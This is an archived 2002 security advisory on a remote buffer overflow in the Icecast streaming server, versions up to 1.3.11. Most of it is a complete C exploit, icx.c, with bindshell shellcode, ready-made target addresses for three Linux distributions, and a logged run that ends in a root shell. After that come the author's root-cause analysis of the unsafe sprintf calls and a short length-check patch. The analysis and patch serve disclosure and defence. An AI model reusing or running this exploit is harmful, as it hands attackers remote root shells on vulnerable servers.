3rd Apr 2002   [SBWID-5237]
	
COMMAND
	icecast remote shell/root exploit
SYSTEMS AFFECTED
	icecast, all versions up to 1.3.11
PROBLEM
	diz -- #temp [ posted :
	
	There is a remotely exploitable buffer overflow in all versions  of  the
	Icecast mp3  streaming  server  (www.icecast.org).  Apparently  alot  of
	people can\'t be bothered to set the  perms  on  the  icecast  log  dirs
	right and just run it as root. Hence the designation remote  shell/root.
	If not running with uid 0 it will yield a shell with the uid/gid of  the
	icecast user.
	
	 Exploit :
	 =======
	
	/*  all content is (c) #temp 2002 and may not be
	 *  (re)published in any form or (re)distributed 
	 *  without written permission of the author (diz) 
	 *
	 * 
	 * 	icx.c -- icecast remote shell/root  
	 *
	 *
	 * Found 15-02-2002...exploited 16-02-2002 ;P	
	 *
	 * Affected:
	 *  all versions up to 1.3.11 (current) 
	 * 
	 * the client_login() function is passed the full GET %s HTTP/1.0
	 * string provided by a mp3 client. Somewhere along the way an evil 
	 * string function overflows buffer bounds with our humpage.. We can 
	 * overflow just enough to reach and overwrite an instruction pointer. 
	 * Humpage occurs somewhere in the handling of the request string
	 * between mount searching and request building...Havent been able
	 * to locate the exact spot as of yet (just discovered bug yesterday 
	 * investigating another possible overflow in icecast extract_vars() 
	 * funtion) Also some libavl routines look mighty guilty..especially 
	 * avl_destroy. I cant really be bothered to check all entry points. 
	 *
	 * This is why:
	 *
	 * root@blackout:/home/diz/audits/icecast-1.3.11/src > grep strcpy all.c | wc -w
	 *    284
	 * root@blackout:/home/diz/audits/icecast-1.3.11/src > grep sprintf all.c | wc -w
	 *    568
	 * root@blackout:/home/diz/audits/icecast-1.3.11/src > grep strcat all.c | wc -w
	 *     68
	 * root@blackout:/home/diz/audits/icecast-1.3.11/src >                    
	 *
	 *
	 * A quick and dirty patch is to check and make sure the length of expr does not
	 * surpass 8000 bytes ala in client_login() in /src/client.c and recompile:
	 * 
	 * // dirty fix
	 * if(strlen(expr) > 8000) 
	 *	return;
	 * // end of dirty fix
	 *
	 * What can we do:
	 *
	 * We can either overwrite a framepointer and make the process pop an 
	 * instruction pointer out of memory we control. Or overflow eip directly. 
	 * 
	 * We go for the direct eip hump(tm)
	 *
	 * For framepointer humpage:
	 *
	 * Finding the address to overflow ebp with to make esp
	 * point into the start of our buffer is easy..just gdb the
	 * target platform icecast binary and set a breakpoint in
	 * the client_login() function..output will be like this
	 *
	 * ...
	 *  Breakpoint 1, 0x804af49 in client_login (con=0x808d0f0, expr=0xbf3fdaf4
	 *  \"GET \", \'x\' <repeats 196 times>...) at client.c:97
	 *  97      void client_login(connection_t *con, char *expr)
	 * ...
	 *
	 * expr is a pointer to our original string..so we know that
	 * is the start of our string in memory. Luck would have it we can just 
	 * use that exact address and with pop incrementing it works out
	 * to be correct and point to the start of our eip bytes :)
	 * or into nops on a normal overflow. (which we will be doing)
	 *
	 * !!! Attention:
	 *
	 * When we just go for eip in one go we also need this address because
	 * icecast will only give us one go :( so we can\'t offset and brute it
	 * allthough we CAN pad with 7000+ nops..so finding a decent one go
	 * compromise shouldnt be that much of a problem :)
	 *
	 * 			diz - #temp
	 *
	 * special word to pip and blink for helping me gather expr addresses
	 * 
	 * word to: eric, n0b0dy, muska, alcapone, sj, primalux, vonguard
	 * 		khromy, jesse666 and r0ss
	 * 
	 * !!! A big \"we hope leprosy strikes thee down!\" to 2600.net !!!
	 *
	 * to compile standard overflow sploit: gcc icx.c -o icx 
	 * to compile framepointer overflow sploit: gcc icx.c -o icx -DFPO
	 *
	 * note: for practical exploit usage just use standard mode
	 * framepointer bits are left in cuz Im toying with them
	 *
	 * 	this version is meant for linux x86 targets 
	 *
	 *     PATCHES!?!?! WE DON\'T NEED NO STINKIN PATCHES!!!
	 */
	
	/*
	
	root@blackout:/usr/local/icecast/bin > ./icecast
	Icecast Version 1.3.11 Initializing...
	Icecast comes with NO WARRANTY, to the extent permitted by law.
	You may redistribute copies of Icecast under the terms of the
	GNU General Public License.
	For more information about these matters, see the file named COPYING.
	Starting thread engine...
	[16/Feb/2002:15:39:33] Icecast Version 1.3.11 Starting..
	[16/Feb/2002:15:39:33] Starting Admin Console Thread...
	-> [16/Feb/2002:15:39:33] Starting main connection handler...
	-> [16/Feb/2002:15:39:33] Listening on port 8000...
	-> [16/Feb/2002:15:39:33] Listening on port 8001...
	-> [16/Feb/2002:15:39:33] Using \'blackout\' as servername...
	-> [16/Feb/2002:15:39:33] Server limits: 900 clients, 900 clients per 
	source, 10 sources, 5 admins
	-> [16/Feb/2002:15:39:33] WWW Admin interface accessible at 
	http://blackout:8000/admin
	-> [16/Feb/2002:15:39:33] Starting Calender Thread...
	-> [16/Feb/2002:15:39:33] Starting UDP handler thread...
	-> [16/Feb/2002:15:39:33] Starting relay connector thread...
	-> -> [16/Feb/2002:15:39:33] [Bandwidth: 0.000000MB/s] [Sources: 0] 
	[Clients: 0] [Admins: 1] [Uptime: 0 seconds]
	-> 
	
	// this was a target compiled from source on my machine
	
	diz@blackout:~/code/dizcode > ./icx -h blackout -p 8000 -b 0xbf3fdaf4 -a 1 
	[ icx -- icecast humpage -- diz (#temp) ]
	! resolving server: blackout
	! compiled as standard overflow version
	! using 0xbf3fdb58 as eip address
	! sending string
	! giving remote time to setup shop...zzz
	! attempting to connect to bindshell
	! connected to remote shell :)
	$ id
	uid=0(root) gid=0(root) groups=0(root),1(bin),14(uucp),15(shadow),16(dialout),17(audio),33(video),65534(nogroup)
	$ exit
	! done
	diz@blackout:~/code/dizcode > 
	
	*/
	
	#include <stdio.h>
	#include <string.h>
	#include <unistd.h>
	#include <stdlib.h>
	#include <sys/types.h>
	#include <sys/socket.h>
	#include <netinet/in.h>
	#include <netdb.h>
	#include <errno.h>
	
	#define ALLIGN	0
	#define NOP	0x90
	
	#define STRING 	\"GET %s%s HTTP/1.0\\n\\n\" 
	
	char allignbuf[4]; 
	char outbuf[8206]; 
	char nopbuf[512]; 
	
	#ifdef FPO
	char humpbuf[8182]; // 8181 bytes to hit ebp
	#else
	char humpbuf[8186]; // 8185 bytes to overwrite ebp and eip ( minus 4 for BSD hosts)
	#endif
	
	char code[] = 
		// taeho oh bindshell code -- binds to port 30464
		\"\\x31\\xc0\\xb0\\x02\\xcd\\x80\\x85\\xc0\\x75\\x43\\xeb\\x43\\x5e\\x31\\xc0\"
	  	\"\\x31\\xdb\\x89\\xf1\\xb0\\x02\\x89\\x06\\xb0\\x01\\x89\\x46\\x04\\xb0\\x06\"
	  	\"\\x89\\x46\\x08\\xb0\\x66\\xb3\\x01\\xcd\\x80\\x89\\x06\\xb0\\x02\\x66\\x89\"
	  	\"\\x46\\x0c\\xb0\\x77\\x66\\x89\\x46\\x0e\\x8d\\x46\\x0c\\x89\\x46\\x04\\x31\"
	  	\"\\xc0\\x89\\x46\\x10\\xb0\\x10\\x89\\x46\\x08\\xb0\\x66\\xb3\\x02\\xcd\\x80\"
	  	\"\\xeb\\x04\\xeb\\x55\\xeb\\x5b\\xb0\\x01\\x89\\x46\\x04\\xb0\\x66\\xb3\\x04\"
	  	\"\\xcd\\x80\\x31\\xc0\\x89\\x46\\x04\\x89\\x46\\x08\\xb0\\x66\\xb3\\x05\\xcd\"
	  	\"\\x80\\x88\\xc3\\xb0\\x3f\\x31\\xc9\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\xcd\\x80\"
	  	\"\\xb0\\x3f\\xb1\\x02\\xcd\\x80\\xb8\\x2f\\x62\\x69\\x6e\\x89\\x06\\xb8\\x2f\"
	  	\"\\x73\\x68\\x2f\\x89\\x46\\x04\\x31\\xc0\\x88\\x46\\x07\\x89\\x76\\x08\\x89\"
	  	\"\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\"
	  	\"\\xc0\\xb0\\x01\\x31\\xdb\\xcd\\x80\\xe8\\x5b\\xff\\xff\\xff\";
	
	
	struct info {
		char *host;
		char *ip;
		int port;
		int allign;
		u_long address;
	} icx;
	
	void type(int type);
	void handleshell(int sock);
	
	int main(int argc, char **argv)
	{
		struct sockaddr_in slut;
		struct hostent *ip;
		int s, b, len = 0, i;
		u_int w[4], eip[4];
		char *temp, c;	
		
		if(argc == 1) {
			fprintf(stderr, \"Usage: %s -h <host> -p <icecast port> [ -t <type> ] OR [ -a <allign>  -b <address of *expr> ]\\n\", argv[0]);
			fprintf(stderr, \"\\nTypes are (linux version):\\n\\n\");
			fprintf(stderr, \"------------------------------------------------\\n\");
			fprintf(stderr, \"(1) SuSE 7.2 icecast 1.3.10 (rpm)\\n\");
			fprintf(stderr, \"(2) debian 2.2.r2 sid icecast 1.3.11 (deb)\\n\");
			fprintf(stderr, \"(3) slackware 8.0.0 (åtta) icecast 1.3.11 (tgz)\\n\");
			fprintf(stderr, \"------------------------------------------------\\n\\n\");
			fprintf(stderr, \"[  read comments on how to aquire new targets  ]\\n\\n\");
			exit(1);
		}
		
		fprintf(stderr, \"[ icx -- icecast humpage -- diz (#temp) ]\\n\");
	
		// default allign
		icx.allign = ALLIGN;
		
		
		while((c = getopt(argc, argv, \"h:p:a:b:t:\")) != EOF) {
			switch(c) {
				case \'h\':
					icx.host = optarg;
					break;
				case \'p\':
					icx.port = atoi(optarg);
					break;
				case \'b\':
					sscanf(optarg, \"%p\", &temp);
					icx.address = (long)temp;
					break;
				case \'a\':
					icx.allign = atoi(optarg);
					break;
				case \'t\':
					type(atoi(optarg));
					break;
				default:
					fprintf(stderr, \"! huh ?\\n\");
					exit(1);
			}
		}
		
		fprintf(stderr, \"! resolving server: %s\\n\", icx.host);
	
	        if((ip = gethostbyname(icx.host)) == NULL) {
	                perror(\"! gethostbyname\");
	                exit(1);
	        }
		
		icx.ip = (char *)inet_ntoa(*((struct in_addr *)ip->h_addr));	
	
	        s = socket(AF_INET, SOCK_STREAM, 0);
	        slut.sin_family = AF_INET;
	        slut.sin_port = htons(icx.port);
	        slut.sin_addr.s_addr = inet_addr(icx.ip);
	        memset(&(slut.sin_zero), \'\\0\', 8);
	
	
		// setting overflow address
	
		#ifdef FPO
	
		icx.address += icx.allign;	
		
		#else
		
		icx.address += 100; // pointing into nops in *expr
		
		#endif 
	
		#ifdef FPO
		
		fprintf(stderr, \"! compiled as frame pointer overflow version\\n\");
		fprintf(stderr, \"! using 0x%lx as ebp address\\n\", icx.address);
	
		#else
		
		fprintf(stderr, \"! compiled as standard overflow version\\n\");	
		fprintf(stderr, \"! using 0x%lx as eip address\\n\", icx.address);
		
		#endif 
		
		// sort out overflow bytes
		w[0] = (icx.address & 0x000000ff);
	        w[1] = (icx.address & 0x0000ff00) >> 8;
	        w[2] = (icx.address & 0x00ff0000) >> 16;
	        w[3] = (icx.address & 0xff000000) >> 24;
		
		
		// setting the eip address make sure it points into nops
		// allthough there are no nops to point into yet..behe
		
		#ifdef FPO
		
		icx.address += (16 + icx.allign + 100);
		
		fprintf(stderr, \"! using 0x%lx as eip address\\n\", icx.address);
		
		// sort out eip pop bytes
		eip[0] = (icx.address & 0x000000ff);
	        eip[1] = (icx.address & 0x0000ff00) >> 8;
	        eip[2] = (icx.address & 0x00ff0000) >> 16;
	        eip[3] = (icx.address & 0xff000000) >> 24;
		
		#endif
	
		// fill nop buffer
	        memset(&nopbuf, \'\\0\', sizeof(nopbuf));
	        for(i = 0; i < sizeof(nopbuf); i++)
	                nopbuf[i] = NOP;
	
		// allign
		memset(&allignbuf, \'\\0\', sizeof(allignbuf));
		for(i = 0; i < icx.allign && i < sizeof(allignbuf); i++) 
			allignbuf[i] = \'x\';
		
		memset(&humpbuf, \'\\0\', sizeof(humpbuf));	
	
		#ifdef FPO
		
		// place eip read bytes 4 times
		for(i = 0, b = 0; i < 16; i++, b++) {
			if(b == 4) b = 0;
			humpbuf[i] = (char)eip[b];
		}
		
		// sprintf(&humpbuf[16], \"%s%s\", nopbuf, code);
		
		#else
		
		sprintf(&humpbuf[0], \"%s%s\", nopbuf, code);
		
		#endif
		
		// filling rest of string with garbage bytes
		// be sure to take the length of nops + shellcode
		// into account when the string contains them
		
		#ifdef FPO
		
		//! fp poop
		for(i = 16; i < (sizeof(humpbuf) - 1); i++)
			humpbuf[i] = \'x\';
		
		#else
		
		// take length off shellcode and nops into account when we have some
		for(i = (strlen(nopbuf) + strlen(code)); i < (sizeof(humpbuf) - 1); i++)
	                humpbuf[i] = \'x\';
		
		#endif
	
		
		// making last 8 bytes overflow bytes (be it ebp..be it eip)
		humpbuf[sizeof(humpbuf) - 9] = (char)w[0];
	        humpbuf[sizeof(humpbuf) - 8] = (char)w[1];
	        humpbuf[sizeof(humpbuf) - 7] = (char)w[2];
	        humpbuf[sizeof(humpbuf) - 6] = (char)w[3];
	
		humpbuf[sizeof(humpbuf) - 5] = (char)w[0];
		humpbuf[sizeof(humpbuf) - 4] = (char)w[1];
		humpbuf[sizeof(humpbuf) - 3] = (char)w[2];	
		humpbuf[sizeof(humpbuf) - 2] = (char)w[3];
		
		
		// connecting and going for the hump
		if(connect(s, (struct sockaddr *)&slut, sizeof(struct sockaddr)) == -1) {
			perror(\"! connect\");
			exit(1);
		}
		else {
			memset(&outbuf, \'\\0\', sizeof(outbuf));	
			snprintf(outbuf, sizeof(outbuf), STRING, allignbuf, humpbuf);
			
			#ifdef DEBUG
			for(i = 0; i < sizeof(outbuf); i++) 
				fprintf(stderr, \"! byte %d [ 0x%x ]\\n\", i, outbuf[i]);
			#endif
			
			do {
				fprintf(stderr, \"! sending string\\n\");
				len += send(s, outbuf, strlen(outbuf), 0);
			}
			while(len < strlen(outbuf));
			
			close(s);
		
			fprintf(stderr, \"! giving remote time to setup shop...zzz\\n\");
			sleep(5);	
		
			fprintf(stderr, \"! attempting to connect to bindshell\\n\");
			s = socket(AF_INET, SOCK_STREAM, 0);
			slut.sin_port = htons(30464);
			if(connect(s, (struct sockaddr *)&slut, sizeof(struct sockaddr)) == -1) {
	                	perror(\"! connect\");
				fprintf(stderr, \"! check 30464 with nc in case target was slow\\n\");
	                	exit(1);
			}
			else {
				fprintf(stderr, \"! connected to remote shell :)\\n\");
				handleshell(s);
			}
	        }
			
		fprintf(stderr, \"! done\\n\");
		exit(0);
	}
		
	void type(int type)
	{
		// suse 7.2 1.3.10 (rpm)
		if(type == 1) {
			icx.address = 0xbf3fdaf4;
			icx.allign = 0;
			return;
		}
		
		// debian 2.2.r2 sid 1.3.11 (deb)
		if(type == 2) {
			icx.address = 0xbeffdaf4;
			icx.allign = 0;
			return;
		}
		
		// slackware 8.0.0 (åtta) 1.3.11 (tgz)
		if(type == 3) {
			icx.address = 0xbeffdaf4;
	                icx.allign = 0;
	                return;
		}
	
		fprintf(stderr, \"! type not found..exiting\\n\");
		exit(1);
	}
	
			
	void handleshell(int sock)
	{
	 	char inbuf[4096], outbuf[1024];
	
		fd_set fdset; 
		fprintf(stderr, \"$ \");
	     
		while(1) {        
		
			FD_ZERO(&fdset);
	        	FD_SET(fileno(stdin), &fdset);
	        	FD_SET(sock, &fdset);
	
			select(sock + 1, &fdset, NULL, NULL, NULL);
	
			if(FD_ISSET(fileno(stdin), &fdset)) {
				memset(outbuf, \'\\0\', sizeof(outbuf));
				fgets(outbuf, sizeof(outbuf), stdin);
				if(strstr(outbuf, \"exit\") != NULL) {
					close(sock);
					return;
				}
				if(write(sock, outbuf, strlen(outbuf)) < 0) {
					fprintf(stderr, \"! write error\\n\");
					return;
				}
			}
	
			if(FD_ISSET(sock, &fdset)) {
				memset(inbuf, \'\\0\', sizeof(inbuf));
				if(read(sock, inbuf, sizeof(inbuf)) < 0) {
					fprintf(stderr, \"! read error\\n\");
					return;
				}
				fputs(inbuf, stderr);
				fprintf(stderr, \"$ \");
			}
		}
	}
	
	
	
	 Update (05 April 2002)
	 ======
	
	diz -- #temp also posted following ananysis of exploit :
	
	
	[ Full analysis of multiple Icecast 1.3.11 remotely exploitable overflows ]
	
		Pardon my lousy formatting..but this was just a quick writeup
	
	
	Ok..I did some digging into where the exact overflow occurs. And
	came up with the following results:
	
	The bad voodoo happens when the following line of code is executed.
	I tracked down the how and why and will try to explain it in this
	text.
	
	<evil code>
	int diff = tree->cmp (item, p->data, tree->param);
	</evil code>
	
			[ other exploitable bugs ]
	
	This line is called from avl_find() (avl.c) when it is called from 
	get_alias() (alias.c) which is in turn called from find_mount_with_req() 
	(source.c). It should be noted that a bit further down the 
	road a sprintf() call in find_mount_with_req() could also be 
	exploited if and when the discussed bug in the avl routine is fixed. This
	problem regards the following line:
	
	
	sprintf(pathbuf, \"%s:%d%s\", req->host[0] ? req->host : \"localhost\", 
	req->port, req->path);
	
	
	Pathbuf being 8192 bytes. req->path also being able to get up to 8192 
	user-supplied bytes thus you\'d be able to overflow pathbuf bounds by 
	strlen(req->host) + req->port bytes. Which, if you take the default \"localhost\" 
	and a high port is enough to reach and overwrite ebp and eip located behind 
	pathbuf[BUFSIZ]. 
	
		[ the exploited bug in question ]
	
	Ok onto the particulars of the bug I exploit...
	
	avl_find() is called as follows from within get_alias()
	
	if (!res) {
		search.name = req;
		res = avl_find (info.aliases, &search);
	}
	
	[ structures ]
	
	search.name is a member from an alias_t structure which looks like 
	this:
	
	typedef struct alias_St
	{
	        request_t *name;
	        request_t *real;
	} alias_t;
	
	request_t looks like this:
	
	typedef struct request_St
	{
	        char path[BUFSIZE];
	        char host[BUFSIZE];
	        int port;
	} request_t;
	
	
	so search.name is just a request_t structure. which is assigned the user 
	supplied req (which contains the supplied overflowstring req->path);
	
	So now search.name.path == req.path.
	
			[ avl_find\'s guts ]
	
	avl_find()\'s prototype is: 
	
	void *
	avl_find (avl_tree *tree, const void *item)
	
	It is called as:
	
	avl_find (info.aliases, &search);
	
	The avl_tree structure looks like this:
	
	typedef struct avl_tree
	  {
	#if PSPP
	    struct arena **owner;       /* Arena to store nodes. */
	#endif
	    avl_node root;              /* Tree root node. */
	    avl_comparison_func cmp;    /* Used to compare keys. */
	    int count;                  /* Number of nodes in the tree. */
	    void *param;                /* Arbitary user data. */
	        mutex_t mutex; /* to protect the tree */
	  }
	avl_tree;
	
			[ pointing to an evil function ]
	
	This structure contains a function pointer called cmp. In the case of info.aliases, 
	which is the first avl_tree struct argument to avl_find(), this function pointer is 
	a pointer to compare_aliases() which is located in avl_functions.c. 
	
	It\'s prototype is as follows:
	
	int
	compare_aliases (const void *first, const void *second, void *param)
	
	From within avl_find() compare_aliases() is called via the function 
	pointer tree->cmp in the following manner:
	
	int diff = tree->cmp (item, p->data, tree->param);
	
	Item being the search structure, which we established contained the full 
	user supplied request path in the form of search.name.path;
	
			[ inside compare_aliases() ]
	
	Now if we take a look at compare_aliases we see the following:
	
	int
	compare_aliases (const void *first, const void *second, void *param)
	{
	        alias_t *a1 = (alias_t *) first, *a2 = (alias_t *) second;
	        char full[BUFSIZE], full2[BUFSIZE];
	
	        if (!a1 || !a2 || !a1->name || !a2->name || !a1->name->host || \\
	!a1->name->path || !a2->name->host || !a2->name->path)
	        {
	                write_log (LOG_DEFAULT, \"WARNING: NULL pointers in \\
	comparison\");
	                return -1;
	        }
	
	        sprintf (full, \"%s:%d%s\", a1->name->host, a1->name->port, \\
	a1->name->path);
	        sprintf (full2, \"%s:%d%s\", a2->name->host, a2->name->port, \\
	a2->name->path);
	
	        return ice_strcmp (full, full2);
	}
	
	a1 == item. a1->name->path == search.name.path which equals the user supplied
	request path. 
	
	So in essence we have the same situation that I warn about earlier 
	in this txt. An sprintf that will allow a buffer overflow of full[BUFSIZE] 
	with user (remotely) supplied data. Which results in ebp and eip being 
	overwritten and the execution of arbitrary code.
	
				[ conclusion ]
	
	Phew..this has been quite the witchhunt..but I hope this has shed some 
	more light on the how, the what and the exact location of the Icecast bug. 
	As I said this situation occurs many times throughout the icecast source 
	and I would recommend replacing all unsafe string functions with more 
	bounds aware variants to prevent any future problems.
	
				With regards,
				diz -- #temp
	
SOLUTION
	 Update (04 april 2002)
	 ======
	
	Neeko Oni provided following patch, it\'s the  suggested  patch  in  the
	icx.c exploit, with an added logging flag.
	
	
	--- client.c    Wed Aug  1 16:06:53 2001
	+++ src/client.c      Wed Apr  3 12:36:23 2002
	@@ -103,6 +103,11 @@
	 
	        xa_debug(3, \"Client login...\\n\");
	 
	+       if (strlen(expr) > 8000) { 
	+               write_log(LOG_DEFAULT, \"WARNING: expr greater than 8000--possible BOF attack?\");
	+       return;
	+}
	+
	        if (!con || !expr) {
	                write_log(LOG_DEFAULT, \"WARNING: client_login called with NULL pointer\");
	                return;
	
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH
